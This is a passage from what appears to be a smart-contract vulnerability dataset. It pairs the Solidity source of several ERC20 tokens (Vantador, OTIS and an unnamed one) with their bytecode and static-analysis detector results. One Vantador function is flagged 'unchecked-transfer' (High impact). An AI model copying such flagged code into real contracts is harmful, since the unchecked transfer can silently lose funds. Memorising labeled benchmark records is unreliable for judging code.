_balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a `Transfer` event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ /* // 추가적인 mint를 금지하기 위해 주석처리합니다. function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } */ /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a `Transfer` event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function burn(address account, uint256 value) public returns (bool) { _burnFrom(account, value); return true; } function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(value); _totalSupply = _totalSupply.sub(value); emit Transfer(account, address(0), value); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an `Approval` event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Destoys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See `_burn` and `_approve`. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c80633eaaf86b1161008c5780639dc29fac116100665780639dc29fac146103e4578063a457c2d71461044a578063a9059cbb146104b0578063dd62ed3e14610516576100cf565b80633eaaf86b146102eb57806370a082311461030957806395d89b4114610361576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bd57806323b872dd146101db578063313ce567146102615780633950935114610285575b600080fd5b6100dc61058e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610630565b604051808215151515815260200191505060405180910390f35b6101c5610647565b6040518082815260200191505060405180910390f35b610247600480360360608110156101f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610651565b604051808215151515815260200191505060405180910390f35b610269610702565b604051808260ff1660ff16815260200191505060405180910390f35b6102d16004803603604081101561029b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610719565b604051808215151515815260200191505060405180910390f35b6102f36107be565b6040518082815260200191505060405180910390f35b61034b6004803603602081101561031f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506107c4565b6040518082815260200191505060405180910390f35b61036961080c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a957808201518184015260208101905061038e565b50505050905090810190601f1680156103d65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610430600480360360408110156103fa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108ae565b604051808215151515815260200191505060405180910390f35b6104966004803603604081101561046057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108c4565b604051808215151515815260200191505060405180910390f35b6104fc600480360360408110156104c657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610969565b604051808215151515815260200191505060405180910390f35b6105786004803603604081101561052c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610980565b6040518082815260200191505060405180910390f35b606060028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106265780601f106105fb57610100808354040283529160200191610626565b820191906000526020600020905b81548152906001019060200180831161060957829003601f168201915b5050505050905090565b600061063d338484610a07565b6001905092915050565b6000600554905090565b600061065e848484610bfe565b6106f784336106f285600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e9a90919063ffffffff16565b610a07565b600190509392505050565b6000600460009054906101000a900460ff16905090565b60006107b433846107af85600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f2390919063ffffffff16565b610a07565b6001905092915050565b60055481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108a45780601f10610879576101008083540402835291602001916108a4565b820191906000526020600020905b81548152906001019060200180831161088757829003601f168201915b5050505050905090565b60006108ba8383610fab565b6001905092915050565b600061095f338461095a85600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e9a90919063ffffffff16565b610a07565b6001905092915050565b6000610976338484610bfe565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a8d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061127c6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b13576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806112146022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c84576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806112576025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d0a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111f16023913960400191505060405180910390fd5b610d5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e9a90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610dee816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f2390919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600082821115610f12576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b600082840390508091505092915050565b600080828401905083811015610fa1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b610fb58282611052565b61104e823361104984600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e9a90919063ffffffff16565b610a07565b5050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806112366021913960400191505060405180910390fd5b611129816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e9a90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061118081600554610e9a90919063ffffffff16565b600581905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a265627a7a72315820649ec2811cacf621fffcadbc6c9a797399ee3b6f3c000ba4752fabac73ab8d7464736f6c63430005110032
{"success": true, "error": null, "results": {}}
3,642
0xafc858f7dd485f20d8bfb1de445c87f6a67fb9af
pragma solidity ^0.4.19; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event PausePublic(bool newState); event PauseOwnerAdmin(bool newState); bool public pausedPublic = true; bool public pausedOwnerAdmin = false; address public admin; /** * @dev Modifier to make a function callable based on pause states. */ modifier whenNotPaused() { if(pausedPublic) { if(!pausedOwnerAdmin) { require(msg.sender == admin || msg.sender == owner); } else { revert(); } } _; } /** * @dev called by the owner to set new pause flags * pausedPublic can't be false while pausedOwnerAdmin is true */ function pause(bool newPausedPublic, bool newPausedOwnerAdmin) onlyOwner public { require(!(newPausedPublic == false && newPausedOwnerAdmin == true)); pausedPublic = newPausedPublic; pausedOwnerAdmin = newPausedOwnerAdmin; PausePublic(newPausedPublic); PauseOwnerAdmin(newPausedOwnerAdmin); } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract Vantador is PausableToken { string public constant name = "Vantador"; string public constant symbol = "VAC"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 400000000 * 10**18; modifier validDestination( address to ) { require(to != address(0x0)); require(to != address(this)); _; } function Vantador( address _admin ) { // assign the admin account admin = _admin; totalSupply = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; Transfer(address(0x0), msg.sender, INITIAL_SUPPLY); } function transfer(address _to, uint _value) validDestination(_to) returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) validDestination(_to) returns (bool) { return super.transferFrom(_from, _to, _value); } event Burn(address indexed _burner, uint _value); function burn(uint _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); Burn(msg.sender, _value); Transfer(msg.sender, address(0x0), _value); return true; } // save some gas by making only one contract call function burnFrom(address _from, uint256 _value) returns (bool) { assert( transferFrom( _from, msg.sender, _value ) ); return burn(_value); } function emergencyERC20Drain( ERC20 token, uint amount ) onlyOwner { // owner can drain tokens that are sent here by mistake token.transfer( owner, amount ); } event AdminTransferred(address indexed previousAdmin, address indexed newAdmin); function changeAdmin(address newAdmin) onlyOwner { // owner can re-assign the admin AdminTransferred(admin, newAdmin); admin = newAdmin; } }
0x6060604052600436106101275763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461012c578063095ea7b3146101b657806318160ddd146101ec57806323b872dd1461021157806324bb7c26146102395780632ff2e9dc1461024c578063313ce5671461025f57806342966c681461028857806364779ad71461029e57806366188463146102b157806370a08231146102d357806379cc6790146102f25780638da5cb5b146103145780638f2839701461034357806395d89b4114610364578063a9059cbb14610377578063d73dd62314610399578063db0e16f1146103bb578063dd62ed3e146103dd578063ddeb509414610402578063f2fde38b1461041f578063f851a4401461043e575b600080fd5b341561013757600080fd5b61013f610451565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561017b578082015183820152602001610163565b50505050905090810190601f1680156101a85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101c157600080fd5b6101d8600160a060020a0360043516602435610488565b604051901515815260200160405180910390f35b34156101f757600080fd5b6101ff6104f7565b60405190815260200160405180910390f35b341561021c57600080fd5b6101d8600160a060020a03600435811690602435166044356104fd565b341561024457600080fd5b6101d861054a565b341561025757600080fd5b6101ff61055a565b341561026a57600080fd5b61027261056a565b60405160ff909116815260200160405180910390f35b341561029357600080fd5b6101d860043561056f565b34156102a957600080fd5b6101d861064c565b34156102bc57600080fd5b6101d8600160a060020a036004351660243561065c565b34156102de57600080fd5b6101ff600160a060020a03600435166106c4565b34156102fd57600080fd5b6101d8600160a060020a03600435166024356106df565b341561031f57600080fd5b6103276106fd565b604051600160a060020a03909116815260200160405180910390f35b341561034e57600080fd5b610362600160a060020a036004351661070c565b005b341561036f57600080fd5b61013f610792565b341561038257600080fd5b6101d8600160a060020a03600435166024356107c9565b34156103a457600080fd5b6101d8600160a060020a0360043516602435610814565b34156103c657600080fd5b610362600160a060020a036004351660243561087c565b34156103e857600080fd5b6101ff600160a060020a0360043581169060243516610932565b341561040d57600080fd5b6103626004351515602435151561095d565b341561042a57600080fd5b610362600160a060020a0360043516610a4b565b341561044957600080fd5b610327610ae6565b60408051908101604052600881527f56616e7461646f72000000000000000000000000000000000000000000000000602082015281565b60035460009060a060020a900460ff16156104e65760035460a860020a900460ff1615156101275760045433600160a060020a03908116911614806104db575060035433600160a060020a039081169116145b15156104e657600080fd5b6104f08383610af5565b9392505050565b60005481565b600082600160a060020a038116151561051557600080fd5b30600160a060020a031681600160a060020a03161415151561053657600080fd5b610541858585610b61565b95945050505050565b60035460a060020a900460ff1681565b6b014adf4b7320334b9000000081565b601281565b600160a060020a033316600090815260016020526040812054610598908363ffffffff610bca16565b600160a060020a033316600090815260016020526040812091909155546105c5908363ffffffff610bca16565b600055600160a060020a0333167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a2600033600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a3506001919050565b60035460a860020a900460ff1681565b60035460009060a060020a900460ff16156106ba5760035460a860020a900460ff1615156101275760045433600160a060020a03908116911614806106af575060035433600160a060020a039081169116145b15156106ba57600080fd5b6104f08383610bdc565b600160a060020a031660009081526001602052604090205490565b60006106ec8333846104fd565b15156106f457fe5b6104f08261056f565b600354600160a060020a031681565b60035433600160a060020a0390811691161461072757600080fd5b600454600160a060020a0380831691167ff8ccb027dfcd135e000e9d45e6cc2d662578a8825d4c45b5e32e0adf67e79ec660405160405180910390a36004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60408051908101604052600381527f5641430000000000000000000000000000000000000000000000000000000000602082015281565b600082600160a060020a03811615156107e157600080fd5b30600160a060020a031681600160a060020a03161415151561080257600080fd5b61080c8484610cd6565b949350505050565b60035460009060a060020a900460ff16156108725760035460a860020a900460ff1615156101275760045433600160a060020a0390811691161480610867575060035433600160a060020a039081169116145b151561087257600080fd5b6104f08383610d3e565b60035433600160a060020a0390811691161461089757600080fd5b600354600160a060020a038084169163a9059cbb9116836000604051602001526040517c010000000000000000000000000000000000000000000000000000000063ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561091357600080fd5b6102c65a03f1151561092457600080fd5b505050604051805150505050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a0390811691161461097857600080fd5b8115801561098857506001811515145b1561099257600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a841515021775ff000000000000000000000000000000000000000000191660a860020a831515021790557fa14d191ca4f53bfcf003c65d429362010a2d3d68bc0c50cce4bdc0fccf661fb082604051901515815260200160405180910390a17fc77636fc4a62a1fa193ef538c0b7993a1313a0d9c0a9173058cebcd3239ef7b581604051901515815260200160405180910390a15050565b60035433600160a060020a03908116911614610a6657600080fd5b600160a060020a0381161515610a7b57600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600454600160a060020a031681565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60035460009060a060020a900460ff1615610bbf5760035460a860020a900460ff1615156101275760045433600160a060020a0390811691161480610bb4575060035433600160a060020a039081169116145b1515610bbf57600080fd5b61080c848484610de2565b600082821115610bd657fe5b50900390565b600160a060020a03338116600090815260026020908152604080832093861683529290529081205480831115610c3957600160a060020a033381166000908152600260209081526040808320938816835292905290812055610c70565b610c49818463ffffffff610bca16565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b60035460009060a060020a900460ff1615610d345760035460a860020a900460ff1615156101275760045433600160a060020a0390811691161480610d29575060035433600160a060020a039081169116145b1515610d3457600080fd5b6104f08383610f64565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610d76908363ffffffff61105f16565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b6000600160a060020a0383161515610df957600080fd5b600160a060020a038416600090815260016020526040902054821115610e1e57600080fd5b600160a060020a0380851660009081526002602090815260408083203390941683529290522054821115610e5157600080fd5b600160a060020a038416600090815260016020526040902054610e7a908363ffffffff610bca16565b600160a060020a038086166000908152600160205260408082209390935590851681522054610eaf908363ffffffff61105f16565b600160a060020a03808516600090815260016020908152604080832094909455878316825260028152838220339093168252919091522054610ef7908363ffffffff610bca16565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b6000600160a060020a0383161515610f7b57600080fd5b600160a060020a033316600090815260016020526040902054821115610fa057600080fd5b600160a060020a033316600090815260016020526040902054610fc9908363ffffffff610bca16565b600160a060020a033381166000908152600160205260408082209390935590851681522054610ffe908363ffffffff61105f16565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b6000828201838110156104f057fe00a165627a7a7230582061bdfe4e028ad52cfce5180ab22da8857ac274eb12b6d4ba4d5b392426bc78260029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
3,643
0x2b4bb11c2c87db050244811d2b37f5b4215bea3f
/** *Submitted for verification at Etherscan.io on 2021-06-02 */ // ---------------------------------------------------------------------------- // OTIS Contract // Name : OTIS // Symbol : OTS // Decimals : 18 // InitialSupply : 2,000,000,000 OTS // ---------------------------------------------------------------------------- pragma solidity 0.5.8; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } } contract OTIS is ERC20 { string public constant name = "OTIS"; string public constant symbol = "OTS"; uint8 public constant decimals = 18; uint256 public constant initialSupply = 2000000000 * (10 ** uint256(decimals)); constructor() public { super._mint(msg.sender, initialSupply); owner = msg.sender; } address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); modifier onlyOwner() { require(msg.sender == owner, "Not owner"); _; } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0), "Already Owner"); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused, "Paused by owner"); _; } modifier whenPaused() { require(paused, "Not paused now"); _; } function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } event Frozen(address target); event Unfrozen(address target); mapping(address => bool) internal freezes; modifier whenNotFrozen() { require(!freezes[msg.sender], "Sender account is locked."); _; } function freeze(address _target) public onlyOwner { freezes[_target] = true; emit Frozen(_target); } function unfreeze(address _target) public onlyOwner { freezes[_target] = false; emit Unfrozen(_target); } function isFrozen(address _target) public view returns (bool) { return freezes[_target]; } function transfer( address _to, uint256 _value ) public whenNotFrozen whenNotPaused returns (bool) { releaseLock(msg.sender); return super.transfer(_to, _value); 